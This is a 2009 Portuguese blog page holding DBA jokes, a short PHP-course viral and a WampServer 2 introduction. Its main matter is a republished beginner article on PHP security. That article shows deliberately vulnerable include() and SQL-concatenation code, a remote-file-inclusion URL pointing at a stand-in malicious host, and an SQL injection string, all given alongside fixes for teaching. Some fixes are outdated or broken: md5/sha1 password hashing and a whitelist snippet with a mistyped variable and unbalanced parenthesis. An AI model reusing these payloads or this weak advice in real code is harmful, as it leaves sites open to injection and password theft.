DBA Chuck Norris

08/10/2009
  • CHUCK NORRIS não faz DELETEs. Ele olha para os registros e eles correm de medo.
  • CHUCK NORRIS não cria PKs. Os registros simplesmente não atrevem-se a duplicar.
  • CHUCK NORRIS não usa LOG. Ele lembra de todos registros que alterou.
  • CHUCK NORRIS não usa LOG. Ele não vai falhar.
  • CHUCK NORRIS não cria INDEXes. Ele sabe que os registros retornarão o mais rápido que puderem.
  • CHUCK NORRIS sabe todos os erros do ORACLE de cor. Porque ele criou eles.
  • CHUCK NORRIS não faz cursos de ORACLE. A ORACLE é que faz cursos com ele.
  • CHUCK NORRIS instala o ORACLE sem ler o manual. (Quem você pensa que é para ter tentado isso?)
  • CHUCK NORRIS instala o ORACLE em um 486. Rodando KURUMIM. Em 2 minutos.
  • CHUCK NORRIS instala o MSSQL Server em um Pentium 100MHZ. Rodando Solaris. A partis dos fontes.
  • CHUCK NORRIS instala o DB2 em um 486. Rodando WINDOWS VISTA. Sem HD.
  • CHUCK NORRIS não tem Certificação. São as empresas que tentam tirar Certificação em CHUCK NORRIS. Em vão.
  • CHUCK NORRIS tem IGNORE CONTRAINTS automático. Ninguém restringe nada a CHUCK NORRIS. Ninguém.
  • CHUCK NORRIS SABE qual o problema de performance do banco. Ele só está dando uma chance do banco se arrepender. 5… 4… 3…
  • CHUCK NORRIS não cria STORED PROCEDURES. Todas suas Queries já se armazenam no banco, tentanto se esconder. Mas é inútil.
  • CHUCK NORRIS não faz Modelo de Dados. Ele encara o banco até que ele faça o modelo sozinho.
  • CHUCK NORRIS instala o ORACLE sem a interface gráfica. E sem a interface texto. (Pergunte a ele você!)
  • CHUCK NORRIS não dá DROP TABLE. Ele dá ROUNDHOUSE KICK TABLE.
  • MSSQL SERVER É muito mais rápido que ORACLE. Basta que o DBA seja CHUCK NORRIS.
  • Uma vez adaptaram o ROUNDHOUSE KICK para o ORACLE. Assim nasceu o TRUNCATE TABLE.
  • Uma vez CHUCK NORRIS deu um ROUNDHOUSE KICK em um banco poderoso. Hoje ele é conhecido por ACCESS.
  • SELECT SUM (FORÇA) FROM CHUCK_NORRIS; Internal error. Don ‘ t call the support.
  • SELECT CHUCK_NORRIS; Drop database sucessful.
  • SELECT ROUNDHOUSE_KICK FROM CHUC… Lost connection.
  • DELETE FROM CHUCK_NORRIS. Not Found. (Ele está atras de você, a ponto de dar um ROUNDHOUSE KICK!!!)
  • Se disser ao DBA CHUCK NORRIS que ” o problema está no banco “, é melhor que esteja se referindo ao Itaú.
  • TRIGGERS tem este nome porque CHUCK NORRIS sempre ameaçava atirar no banco quando ele não fazia algo automático.
  • Megabyte, Gigabyte, Terabyte, Petabyte, Exabyte, Chuckbite.
  • ORACLE tem as versões Personal, Standard, Enterprise e ChuckNorris Edition. Mas nenhum computador é rápido o suficiente para rodá-lo.

O desabafo de um Web Designer

02/10/2009

Esta aí mais um viral muito bem bolado, feito para um curso de PHP

“… não entendo nada do que a quele povo fala.
Tal de array, mysql,, não sei o que orientado a objeto…”

Chupinhei do blog A Internet

Principais falhas de segurança no PHP

27/08/2009
Artigo publicado no site Imasters por Thiago Dutra da Fonseca Belem -  Terça-feira, 07 de abril de 2009.

PHP

Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.

Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!

Cuidados com a URL – Parte I

Uma falha muito comum são aqueles sites que, tentando usar um sistema “legal”, acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

<?php
// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
    $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
    $arquivo = 'home.php'; // Se não existir variável, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

E na URL do site ficaria:

http://www.meusite.com.br/?pagina=contato.php

Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.

Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

<?php
// Define uma lista com os arquivos que poderão ser chamados na URL
$perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');

// Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) {
    $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']
} else {
    $arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
}
include ($arquivo); // Inclui o arquivo
?>

Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

Cuidados com a URL – Parte II

Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

Geralmente o formato é o seguinte:

http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12

Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

<?php
// Formato da URL:
//  http://www.meusite.com.br/produtos.php?id=12

// Salva o parâmetro da URL numa variável
$produto = $_GET['id'];

// Monta a consulta MySQL
$sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";

// Executa a query
$query = mysql_query($sql);

// Salva o resultado (em formato de array) em uma variável
$resultado = mysql_fetch_assoc($query);

?>

A sua consulta ao MySQL ficaria da seguinte forma:

SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1

Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:

http://www.meusite.com.br/produtos.php?id=’ OR 1=1 OR “=’

Agora a sua query MySQL fica assim:

SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1

Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.

Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro
$produto = (int)$_GET['id'];

Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET['id']. Problema resolvido, meus caros!  Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.

Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.

Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:

$parametro = mysql_real_escape_string($_GET['nome']);

Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

Sobre Usuários e Senhas

Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.

Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada.

Se quiser saber como funciona criptografica no PHP, aguarde os próximos posts

Espero que tenham gostado! Até a próxima!

Leia mais em Web PHP Brasil


WampServer 2 – Seu servidor web em produção!

06/08/2009

Este é um dos servidores de ambiente web mais legal que ja trabalhei. Extremamente simples, prátco, completo e funcional. Caros irmãos, vos apresento WampServer 2!

O pacote WampServer lhe  permitirá reproduzir o seu servidor web em produção, com todos os recursos necessários para seu gerenciamento.

O pacote do servidor contém:

  1. Apache 2.2.11
  2. PHP 5.3.0
  3. MySQL 5.1.36
  4. PhpMyAdmin
  5. Phpmyadmin

 

 

Cada um dos itens acima pode ser atualizado individualmente e você pode escolher com qual das versões instaladas deseja trabalhar.

 


Iniciando…

Quando você instalar o WampServer, um diretório “www”  é criado (geralmente c:\wamp\www). Crie os diretórios dos seus projetos dentro desta pasta.
Clique na opção “Localhost” na WampServer menu ou abra o navegador e digite o endereço http://localhost. Aqui você poderá visualizar todos os seus projetos:

Gostou?? Então experimente…

Download


ATENÇÃO: não tente instalar WampServer 2 sobre WAMP5 (PAU FEDERAL!!!). Se estiver instalado no seu computador, guarde os seus dados, desinstale e apagar o WAMP5 antes de instalar WampServer 2.

Quem dera eu tivesse lido isso antes…

Para mais informações acesse o site oficial WampServer.  

 


Seguir

Obtenha todo post novo entregue na sua caixa de entrada.